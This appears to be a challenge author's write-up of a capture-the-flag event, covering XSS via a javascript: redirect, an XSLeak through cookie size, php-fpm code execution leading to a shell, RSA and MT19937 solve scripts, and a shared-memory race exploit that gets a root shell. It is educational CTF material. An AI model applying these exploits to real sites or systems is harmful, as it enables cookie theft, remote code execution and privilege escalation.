Welcome to the No Hack No CTF Event this year, I made some “relatively harder” crypto and web challenges in the event, with some “relatively easier” ones. And one guessy challenge, which is just a pure waste of time
Hope u guys love them, and … actually, I didn’t expect like as much as like 400~500 players will participate in this year’s rating 0 event, with some strong teams…so the challenge difficulty may not hard enough XD
After all, I think u can probably looking forward to my(our) challenges next year, trust me, will be funnier!
Web
Actually…just picking categories my teammates haven’t done yet… But all my favorite ones in web category!
XXS XSS
Difficuly: 5/10
Tips: Open Redirect to XSS(javasciprt: protocol trick)
You can set a name that the website will show on your screen, also, a redirect url with length < 15 It’s seemingly that the only way to exploit XSS is to abuse the redirect function, but how can we steal the cookie with like less then 15 chars (contains javascript: string)
A fun feature: if javascript: url was appended with a javascript variable, then the page will render the variable value
So just put the payload at name, and then redirect to javascript:name can solve it! Final Payload:
through nginx.conf, we’ll also find that it’s based on php-fpm, which is vulnerable via changing its setting auto_prepend_file = php://input and allow_url_include = On, after that, every post body (pass to php://input) will be seem as a php code and excute.
with the socket backdoor, just pass the payload(base64 encoded) to it and we’ll obtain a shell!
NOT XSS
Difficuly: 9/10
Tips: XSLeak (Via Cookie Size, STTF)
A word guessing game, target is flag, but only admin bot can visit it and also, with CORS. The best match value and a note (will be rendered with HTML) will be stored in cookie
The stored note will be rendered, but with a DOMPurify Protection! Just don’t mind those PoW stuffs, as I said above, it’s impossible to do a XSS, so time to think about XSLeak.
from flask import Flask, request, render_template, jsonify, make_response, abort, session from flask_cors import CORS import subprocess import threading import hashlib import os import time
<!-- 改动:form 加上 action 和 method --> <formid="guess-form"action="/guess"method="post"enctype="application/x-www-form-urlencoded"> <label> Next guess:<br> <inputtype="text"name="guess"id="guess"requiredplaceholder="Enter your guess"> </label><br> <label> Your note:<br> <inputtype="text"name="note"id="note-input"placeholder="Optional note"> </label><br> <buttontype="submit">Submit</button> </form>
<script> asyncfunctionloadStatus() { functionhexDecode(hex) { hex = hex.replace(/^0x/, ''); if (hex.length % 2 !== 0) thrownewError('Invalid hex string'); let out = ''; for (let i = 0; i < hex.length; i += 2) { out += String.fromCharCode(parseInt(hex.substr(i, 2), 16)); } return out; } const res = awaitfetch('/inner.html', { credentials: 'include' }); let html = await res.text(); html = DOMPurify.sanitize(html); document.getElementById('status-container').innerHTML = html; const cookie = document.cookie.split('; ').find(row => row.startsWith('best=')); if (cookie) { const val = decodeURIComponent(cookie.split('=')[1]); const [prefixHex, noteHex] = val.split(':'); const best = hexDecode(prefixHex) || '(none)'; const note = DOMPurify.sanitize(hexDecode(noteHex)) || '(none)'; document.getElementById('best-prefix').textContent = best; document.getElementById('note').innerHTML = note; } } document.getElementById('guess-form').addEventListener('submit', async e => { e.preventDefault(); const form = e.target; const formData = newFormData(form); awaitfetch(form.action, { method: form.method, credentials: 'include', body: formData }); awaitloadStatus(); form.reset(); }); window.addEventListener('DOMContentLoaded', loadStatus); </script> </body> </html>
Every time I deal with a XSLeak challenge, I think it’ll be very usefull to think about what’s the diffrences between a “right” hit and a “wrong” hit.
In this challenge, is the cookie matters. Nowadays, almost every browser has a limit size for its cookie. Combine this feature with a render functionality in index.html, we can construct an “error-based” XSLeak with an oracle of “if the webhook server is hitted or not”
Just a piece of PoC: index.php, which the admin bot will visit
Like this, if NG was hitted on the server, but not NH, then we knows that NH is the prefix part of flag. Later, just automate this approach with a backend server dynamic changing exp.html … should be fine … if my VM wasn’t broken So sorry for uploaded an old, unsolvable version on CTFd QwQ
My friend, you know... There're tooooo many of those GPTable Crypto Challenges and Baby Crypto stuffs... So I implemented a baby one on blockchain! Sepolia test net, address: 0x9C71c90140162a5BAE7159Ec5CC4C86FAddCBfb6
chal.sol
1 2 3 4 5 6 7 8 9 10 11
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
contract Challenge { function encrypt(string memory text) public pure returns (string memory) { // some tasty stuffs! } function get_flag() public pure returns (string memory) { // some tasty stuffs! } }
I used Remix IDE, just take it easy if u know some more powerful tools ! With some trials, you’ll find out that encrypt is just a caeser cipher with key = 7.
run get_flag and “DECODE” it with key = 7 will get the flag
🐺 Verifier
Difficuly: 6/10
Tips: MT19937 + BroadCast Attack
Exploit Scripts for the series are from my teammate @wang, thanks a lot to her for testing my challenges.
from Crypto.Util.number import * from random import getrandbits
SIZE = 64 FLAG = bytes_to_long(b'NHNC{using_big_intergers_in_python_is_still_a_pain}') e = 37 p, q = getPrime(1024), getPrime(1024) while ((p-1)*(q-1)) % e == 0 : p, q = getPrime(1024), getPrime(1024) N = p*q
print("=== ICEDTEA Verifier 1.0 ===")
whileTrue: OTP = getrandbits(SIZE) print(f"signed: {pow(OTP, e, N)}") TRIAL = int(input("OTP: ")) if TRIAL == OTP: print(f"signed: {pow(FLAG, e, N)}") continue print(f"Invalid OTP, {OTP}")
Well… the challenge has three parts!
Predict MT19937 Generator with 64 bits random number generated everytime.
Obtain N from leaked signatures and OTPs.
Recover Flag.
Step 1 is trivial while MT19937 is just a $GF_2$ linear equation problem, there was like a bunch of exploit scripts online especially for 2**32 sizes numbers, which can actually be implanted to python random lib as seeds XD
Step 2: Via $gcd(OTP_1^{37}-signature_1, OTP_2^{37}-signature_2, OTP_3^{37}-signature_3, …) = N$ Step 3: We can get a bunch of FLAG^37 taking mod with different Ns by connect to the server many times, just a simple broadcast attack!
from extend_mt19937_predictor import ExtendMT19937Predictor from pwn import * from Crypto.Util.number import * from gmpy2 import iroot from functools import reduce from tqdm import tqdm from sage.allimport * n = [] c = [] for _ in tqdm(range(37)): r = remote('chal.78727867.xyz', 31337) mt = [] sign = [] r.recvline()
for i inrange(312): sign.append(int(r.recvline().decode().strip().split(': ')[1])) r.sendlineafter(b'OTP: ', str(i).encode()) tmp = int(r.recvline().strip().split(b', ')[1].decode()) mt.append(tmp)
predictor = ExtendMT19937Predictor() for num in mt: predictor.setrandbits(num, 64)
opt = predictor.predict_getrandbits(64)
r.sendlineafter(b'OTP: ', str(opt).encode()) sign_flag = int(r.recvline().decode().strip().split(': ')[1]) c.append(sign_flag) N = reduce(gcd, [pow(mt[i], 37) - sign[i] for i inrange(100)]) n.append(N) r.close()
m37 = crt(c, n) m, ok = iroot(m37, 37) if ok: print(long_to_bytes(m))
from Crypto.Util.number import * from random import getrandbits
SIZE = 65 FLAG = bytes_to_long(b'NHNC{errors_lead_to_lll_huh_?_what_are_u_thinking_about}') e = 37 p, q = getPrime(1024), getPrime(1024) while ((p-1)*(q-1)) % e == 0 : p, q = getPrime(1024), getPrime(1024) N = p*q
print("=== ICEDTEA Verifier 1.1 ===")
whileTrue: OTP = getrandbits(SIZE) print(f"signed: {pow(OTP, e, N)}") TRIAL = int(input("OTP: ")) if TRIAL == OTP: super_secret = getrandbits(1024) print(f"signed: {pow(FLAG + super_secret, e, N)}") continue print(f"Invalid OTP, {OTP}")
Just note that we’ll obtain 65 bits random numbers everytime, and flag will be masked by addition then encrypt.
With two addition(linear related) ciphertexts, it’s well known to perform Franklin-Reiter Attack, its principle is changing the relations into polynomials and GCD them under Zmod(N). exp.py
from pwn import * from Crypto.Util.number import * import math from functools import reduce from contextlib import contextmanager from time import perf_counter from gf2bv import LinearSystem from gf2bv.crypto.mt import MT19937 from sage.allimport * from tqdm import tqdm
@contextmanager deftimeit(task_name): start = perf_counter() try: yield finally: end = perf_counter() print(f"{task_name} took {end - start:.2f} seconds")
defattack(c1, c2, a, b, e, n): # 在模 n 上建立一元多項式環 PR = PolynomialRing(Zmod(n), 'x') x = PR.gen() # 兩條多項式 g1 = x**e - c1 g2 = (a*x + b)**e - c2 g2 = g2.monic() def_gcd(f, g): whilenot g.is_zero(): f, g = g, f % g return f.monic() # 計算 GCD,並回傳 -多項式的常數項 gg = _gcd(g1, g2) return -gg[0]
r = remote('chal.78727867.xyz', 31338) # r = remote('127.0.0.1', 7777)
opts = [] sign = []
r.recvline()
for i in tqdm(range(samples)): sign.append(int(r.recvline().decode().strip().split(': ')[1])) r.sendlineafter(b'OTP: ', str(i).encode()) tmp = int(r.recvline().strip().split(b', ')[1].decode()) opts.append(tmp)
lin = LinearSystem([32] * 624) mt = lin.gens() rng = MT19937(mt) with timeit("generate system"): zeros = [rng.getrandbits(bs) ^ o for o in opts] + [mt[0] ^ 0x80000000] print("solving...") with timeit("solve_one"): sol = lin.solve_one(zeros) print("solved", sol[:10]) rng = MT19937(sol) pyrand = rng.to_python_random() assertall(rng.getrandbits(bs) == o for o in opts) assertall(pyrand.getrandbits(bs) == o for o in opts)
DIFF: signatures losing their last 65 bits. This is a AGCD Problem this time. If you haven’t seen that before, I strongly recommend to see some posts like: https://martinralbrecht.wordpress.com/2020/03/21/the-approximate-gcd-problem/ It’s principle is to turn the relation into a linear equation which roots are much more smaller than coefficients, just a classic LLL condition.
An easy construct of lattices may be like this:
1 2
[sign_1^37-OTP_1, -1, 0 sign_2^37-OTP_2, 0, 1]
it should came up with something like (sign_1^37-OTP_1)//N', the N’ value may be like N*(small number), just do it more times and GCD them.
Reverse
Yep, a crypto&web player auditing reverse challenges, somehow is because someone delayed…
Yep another smake game
Difficuly: 3/10
Tips: Godot, WASM Game Hacking
yep, another snake game. Via view-source or F-12 console logs, we can easily spot that’s a godot game. There’re a bunch of Godot unpackers online, but actually I made this challenge after I saw this:
What’s more, there’s a tool based on this talk, just with the same usage with CheatEngine…
let’s see more … because I’m to lazy to read those js byte codes XD open the pcapng file with WireShark, follow TCP Streams, the client first sent a 16 bytes string to the machine, then they start comunication… ?!
The string probably be the IV value XD
PWN
Server Status (and revenge)
Difficuly: 4/10
Tips: Shared Memory Attack
A privilege escalation challenge with a SUID TOCTOU in it, and yep, this challenge was made in a hurry so I made some stupid mistakes.
v5 = __readfsqword(0x28u); v1 = popen(a1, "r"); if ( v1 ) { v2 = v1; puts("=== Command Output ==="); while ( fgets(v4, 1024, v2) ) __printf_chk(1LL, "%s", v4); puts("=== End of Output ==="); pclose(v2); result = 1LL; } else { perror("popen failed"); result = 0LL; } if ( v5 != __readfsqword(0x28u) ) return term_proc(); return result; }
Since linux shared memory structure can be access by different process, we can edit the shared memory blocks with keys generated by random around the time, change the command and get shell! exp.c
intmain() { printf("=== Tiny Encrypt Shared Memory Race Condition Exploit ===\n"); printf("Attempting to hijack shared memory...\n"); time_t now = (unsignedint) time(NULL); srand(now); for (int time_offset = -2; time_offset <= 2; time_offset++) { srand(now + time_offset); int key = rand() % 0xfffff; printf("Trying key: 0x%X (time offset: %d)\n", key, time_offset); int shmid = shmget(key, 0x400, 0x3b6); if (shmid != -1) { char *h_shm = shmat(shmid, (void *) 0, 0); if (h_shm != (char *)-1) { printf("Successfully connected to shared memory!\n"); printf("Original content: %s\n", h_shm); snprintf(h_shm, 0x400, "bash"); printf("Modified content to: %s\n", h_shm); shmdt(h_shm); return0; } } } printf("Failed to find target shared memory segment.\n"); printf("The program might not be running or already finished.\n"); return1; }
But I forget to use a full PATH like /usr/bin/dmesg, so a PATH abuse can be done
GuessyCTF
GuessyCTF
Just a pure waste of time After all, have fun (cuz this is just for fun) and relax XD I was just like, oh, why not making a challenge fullfill as much as possible boxes on the “Bad CTF Bingo” Let’s go!
Steps Step 1. Extract GIF and get “URL”
Step 2. nc to it! is a calculator, and also, 42 is the best answer
Step 3. Decrypt the message with keys in discord servers!
Yep, like this key characters or words are all inside < and >
Step 4. Find a wierd twitter guy and crack his blog’s password via SQL Injection